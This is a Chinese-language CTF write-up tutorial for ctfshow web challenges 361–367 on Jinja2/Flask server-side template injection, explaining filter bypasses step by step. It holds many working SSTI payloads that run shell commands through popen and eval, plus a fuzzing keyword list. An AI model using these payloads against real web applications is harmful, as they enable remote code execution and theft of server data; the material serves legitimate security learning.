ctfshowweb入门 SSTI模板注入专题保姆级教程(一)

ctfshowweb入门 SSTI模板注入专题保姆级教程(一)

前言:本来这篇是不打算写的,自己稍微记录一下就行了,但是我发现后面的题难度也挺大的,而且好多更细的不记录后面也容易忘记,并且网上很多师傅讲的直接是payload(我还是太菜了看不懂),有很多都是我没见到过的,因此这里综合记录一下(其实最重要的是在这里写的能保存成pdf)同时也是对自己找的资料进行一个汇总

web361

这里我之前详细讲过了就不再赘述,ctfshowweb361--一道题从0入门SSTI模板注入,这里面也是直接从0基础讲起,如果还是有不懂的网上再找点资料看看【我最后也放了参考】,后续题目都是在这基础上进行的,熟悉了361的方法之后才能继续做后面题目。

web362

按照之前的方法进行尝试,发现过滤了除1和7以外的数字,而我们要找的是132,因此这里可以采用全角符号绕过【具体怎么开问下AI就行,因为我用的是Windows自带的,在设置里面进行设置,然后可能有的人用了其他输入法之类的,所以这里就不上图了】

实在找不到的话我直接打在下面:

1234567890 (全角 可以对比半角:1234567890)

然后就是输入我们的payload:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} ?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 

或者可以不输入数字,之前在361中我们用到了config:

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

然后我在网上找别的师傅的wp时看到了另一种:

?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}} x 任意存在的变量(可能是未定义的,触发错误时暴露信息) .__init__ 获取变量x的初始化方法 .__globals__ 获取该方法所在的全局命名空间 ['__builtins__'] 从全局空间中取出内置函数模块 .eval() 调用eval函数执行代码 '__import__("os").popen("cat /flag").read()' 要执行的Python代码

它比传统的 ''.__class__.__bases__[0].__subclasses__() 更简洁,而且可能绕过一些针对特定类名的过滤,但是当x不存在(未定义)时,会返回空或者报错,这时候还可以用的方法为用确实存在的方法替换x:

?name={{ lipsum.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }} # 生成lorem ipsum文本的函数(模板全局变量,几乎一定有,并且最稳定) ?name={{ url_for.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }} #URL生成函数(Flask特有的上下文变量) ?name={{ get_flashed_messages.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }} # flash消息函数 Flask特有的上下文变量 ?name={{ self.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}

那这些就跟之前的config差不多了。

web363

这里测试了一下过滤了单双引号,而这个可以用request绕过【允许我们把字符串从模板内部"移"到URL参数中,从而避免在模板代码里直接使用引号】

属性作用绕过场景
request.argsGET请求参数args被过滤时可用values
request.valuesGET和POST所有参数最常用,替代args
request.cookiesCookie中的值当参数也被过滤时
request.headersHTTP头终极备选
request.formPOST表单数据需要POST请求

这里选一个就行,但是要注意不同属性后面参数放的位置:

?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }} &a=os &b=cat /flag

也可以构造空字符串:

web364

这里过滤了args和引号

?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat /flag ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read() 

然后这里其实还可以用chr函数来做,但有点麻烦,所以放到后面再讲。

web365

一个个尝试的话其实过滤多了就有点麻烦,所以这里找AI要个字典fuzz一波:

[ ] _ { } {{ }} {% %} {%if {%endif {%print( 1 2 3 4 5 6 7 8 9 0 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ 0 1 2 3 4 5 6 7 8 9 ' " + %2B %2b / // \\ \ %0a %0d %09 %20 %2f join() join u os popen system exec eval open read __import__ importlib linecache subprocess Popen commands pty platform sys |attr() |attr request args value cookie headers environ session g config app self lipsum cycler url_for current_app get_flashed_messages __class__ __base__ __bases__ __mro__ __subclasses__ __subclasses__() __builtins__ __init__ __globals__ __dict__ __dic__ __getattribute__ __getattribute__() __getitem__ __getitem__() __str__ __str__() __call__ __name__ __module__ _wrap_close catch_warnings WarningMessage _Printer

具体怎么fuzz的话就是hackbar里先输入如下,开代理后再execute

然后bp里面发送到intruder,依旧sniper,设个爆破点:

然后长度点一下排个序,发现有几个不一样的,再看看响应就行,那么从这里就看出过滤了中括号,引号和args:

这里就可以使用 __getitem__() 方法

# 原写法 {{ [].__class__.__bases__[0] }} # ↑中括号 # 绕过写法 {{ [].__class__.__bases__.__getitem__(0) }} # ↑用__getitem__()代替

具体payload如下:

?name={{config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}} &a=os &b=cat /flag 或者不用中括号: ?name={{x.__init__.__globals__.__builtins__.eval(request.values.cmd)}} &cmd=__import__('os').popen('cat /f*').read()

web366

fuzz一波发现又增加了对下划线的过滤:

这里用到的是|attr()过滤器

# 原写法 {{ lipsum.__globals__ }} # 绕过(直接用字符串,但需要绕过引号) {{ lipsum|attr('__globals__') }} # 绕过 + 引号过滤(结合request) {{ lipsum|attr(request.values.a) }} &a=__globals__

这里的话因为request要用的比较多,因此可以这么写:

?name={% set c=request.values %}{{ config|attr(c.a)|attr(c.b)|attr(c.c)|attr(c.d)(c.e)|attr(c.f)(c.g)|attr(c.h)() }} &a=__class__ &b=__init__ &c=__globals__ &d=__getitem__ &e=os &f=popen &g=cat /flag &h=read {% set c = request.values %} # ↑ ↑ ↑ # 标签 变量名 值 {% ... %}:Jinja2的语句标签,用来执行逻辑操作 set:赋值关键字 c:要创建的变量名 request.values:要赋给变量的值 这样可以简化代码 # 不赋值,每次都要写长长一串 ?name={{ request.values.a }}{{ request.values.b }}{{ request.values.c }} # 赋值后,代码简洁多了 ?name={% set c=request.values %}{{ c.a }}{{ c.b }}{{ c.c }}

同样这里也可用别的进行简化,流程图如下:

# 从lipsum出发(最短)
{{ lipsum.__globals__['os'].popen('cat /flag').read() }}

# 从url_for出发
{{ url_for.__globals__['os'].popen('cat /flag').read() }}

# 从config出发(需要多走两步)
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

# 从request出发
{{ request.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

因此这里我们可以用最短的lipsum出发,但是构造的时候直接硬写有点懵,还是换成一步步来:

第 1 步:|attr() 代替 .

lipsum|attr('__globals__') 这里的globals后面转成values

第 2 步:__getitem__() 代替 []

|attr('__getitem__')('os') os同样转为values

第 3 步:继续 |attr() 取 .popen

|attr('popen')('cat /flag')

第 4 步:最后 .read() 也是 |attr('read')()

那么我们最终生成这样的:

{% set c = request.values %} {{ lipsum |attr(c.a) # __globals__ |attr(c.b)(c.c) # __getitem__('os') |attr(c.d)(c.e) # popen('cat /flag') |attr(c.f)() # read() }} &a=__globals__ &b=__getitem__ &c=os &d=popen &e=cat /flag &f=read

(也是长开了)

web367

fuzz一下过滤了'' 、""、 [、 args、os、 _,然后这里上一题的也能还能用,然后网上看到别的师傅提到的:

{{lipsum.__globals.os}} {{lipsum|attr(request.values.q)|attr(request.values.o)}}&q=__globals__&o=os //这个不会执行 {{(lipsum|attr(request.values.q)).get(request.values.o)}}&q=__globals__&o=os //这个会执行 第一种写法不会执行,是因为 attr() 返回的是一个对象,我们不能直接用另一个 attr() 去获取这个对象的“键”。 第二种写法会执行,是因为它先用 attr() 拿到了 __globals__ 这个字典,然后显式地用 .get() 方法去取这个字典里的 'os' 键对应的值。

1. 为什么 {{lipsum|attr(request.values.q)|attr(request.values.o)}} 不工作?

  • lipsum|attr(request.values.q):这部分是正确的,它成功获取了 lipsum.__globals__ 这个字典。
  • |attr(request.values.o):问题出在这里。管道符 | 后面的 attr() 过滤器,它的作用是获取前一个结果对象的“属性”
  • lipsum.__globals__ 是一个字典。我们想要的是这个字典里键为 'os' 的(也就是 os 模块)。但 'os' 是字典的,不是这个字典对象的属性
    • 属性 是通过点号访问的,比如 __globals__.items(),这里的 items 就是属性。
    •  是通过中括号访问的,比如 __globals__['os']
  • 所以,我们用 attr() 去获取一个名为 'os' 的属性,但这个字典对象并没有一个叫 'os' 的属性,因此它返回 None 或者报错(取决于模板引擎的严格程度)。最终得不到 os 模块。

2. 为什么 {{(lipsum|attr(request.values.q)).get(request.values.o)}} 会执行?

这行代码巧妙地改变了操作顺序:

  • (lipsum|attr(request.values.q)):括号里的部分优先执行,成功拿到了 __globals__ 这个字典。
  • .get(request.values.o):拿到字典之后,这里使用了 Python 字典的原生方法 .get(key).get() 是 __globals__ 这个字典对象的方法(属性之一),专门用来根据键取值。我们把 request.values.o (值是 'os')作为参数传给它,它就能正确地从字典里取出 os 模块。

因此这里可以用的payload为:

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

后面的涉及的方法比较多样,并且比较复杂(盲注、反弹shell啥的),同时为了在写详细的基础上保持观感,所以就分成两块来写。

Read more

论文和文章提示词去AI痕迹:手把手教你把AI写的文章改成“人味儿”,从学生党到博主都能用的去AI痕迹攻略

论文和文章提示词去AI痕迹:手把手教你把AI写的文章改成“人味儿”,从学生党到博主都能用的去AI痕迹攻略

论文和文章提示词去AI痕迹:手把手教你把AI写的文章改成“人味儿”,从学生党到博主都能用的去AI痕迹攻略 本文围绕降低文章 AI 占比展开,针对学生论文、博主文案、公众号内容等场景,分享了去 AI 化实用方法:用口语化表达、替换 AI 专用词、加入个人经历,同时推荐小发猫伪原创等辅助工具。还提供了多场景可直接套用的提示词模板,帮助用户让 AI 生成内容更贴合个人风格。整体以第一人称、生活化语气呈现,结构自然,避免生硬逻辑和专业术语,助力不同需求的用户写出有 “人味儿” 的原创内容。 人工智能专栏介绍     人工智能学习合集专栏是 AI 学习者的实用工具。它像一个全面的 AI 知识库,把提示词设计、AI 创作、智能绘图等多个细分领域的知识整合起来。无论你是刚接触 AI 的新手,还是有一定基础想提升的人,都能在这里找到合适的内容。从最基础的工具操作方法,到背后深层的技术原理,专栏都有讲解,还搭配了实例教程和实战案例。

2026 Python+AI入门|0基础速通,吃透热门轻量化玩法

2026 Python+AI入门|0基础速通,吃透热门轻量化玩法

🎁个人主页:User_芊芊君子 🎉欢迎大家点赞👍评论📝收藏⭐文章 🔍系列专栏:AI 文章目录: * 一、2026 Python+AI入门,必抓3个热门新趋势 * 二、入门前提:不用啃硬骨头,掌握这2点就够了 * 环境搭建(10分钟搞定,Windows/Mac通用) * 三、3个实战案例 * 案例1:30行代码开发AI文本总结工具(轻量化工具,最易上手) * 案例2:大模型微调入门(Llama 3微调,2026热门) * 案例3:AI自动数据标注(图像标注,企业刚需) * 四、Python+AI入门学习流程图(2026最新,不绕路) * 五、2026新手避坑指南 * 六、总结 【前言】 大家好,我是一名深耕AI入门教学的开发者,

当AI成为开发伙伴,我们的代码架构该向何处去?

当AI成为开发伙伴,我们的代码架构该向何处去?

当AI成为开发伙伴,我们的代码架构该向何处去? 过去三年,我一直在维护一套内部的后台管理系统。从最初几个人快速搭建的MVP,到现在支撑着公司六个业务线的核心运营,这个系统经历了一次彻底的重构。 重构的原因很简单:代码变得“不可爱”了。 不是不能跑,而是每次加新功能都像在雷区里跳舞。改一行代码,影响三个不相关页面;想引入一个新思路,发现老架构处处掣肘;团队成员越来越多,但代码的可理解性却在直线下降。 这让我开始思考一个更本质的问题: 当我们的代码不再只被人阅读,AI也将成为日常协作者时,架构应该为什么而设计? 这不是一个遥远的技术幻想。Cursor、Copilot、Windsurf已经深度嵌入到我的日常开发中。它们读代码的速度比我快百倍,但它们“理解”代码的方式和人截然不同。 这篇文章,我想聊聊在这个AI与人类混合编程的时代,我对代码架构的一些重新思考。 先回顾一下:我们曾经追求过什么 在谈未来之前,有必要理清我们走过的路。这里以我熟悉的React/Vue生态下的中后台项目为例。 第一阶段:能跑就行 最朴素的诉求是: * 别让我从零配置webpack/vite

LLaMA Factory 从入门到精通,一篇讲完

LLaMA Factory 从入门到精通,一篇讲完

目录 一、LLaMA-Factory 简介 二、安装部署 三、数据微调 1、数据集的建立 2、数据集格式 3、模型参数 4、开始运行 5、导出模型 四、webui 评估预测与对话 导出 五、SFT 训练 命令行 六、LoRA 合并 合并 量化 七、推理 原始模型推理配置 微调模型推理配置 多模态模型 批量推理 八、评估 通用能力评估 NLG 评估 评估相关参数 一、LLaMA-Factory 简介 LLaMA Factory 是一个简单易用且高效的大型语言模型(Large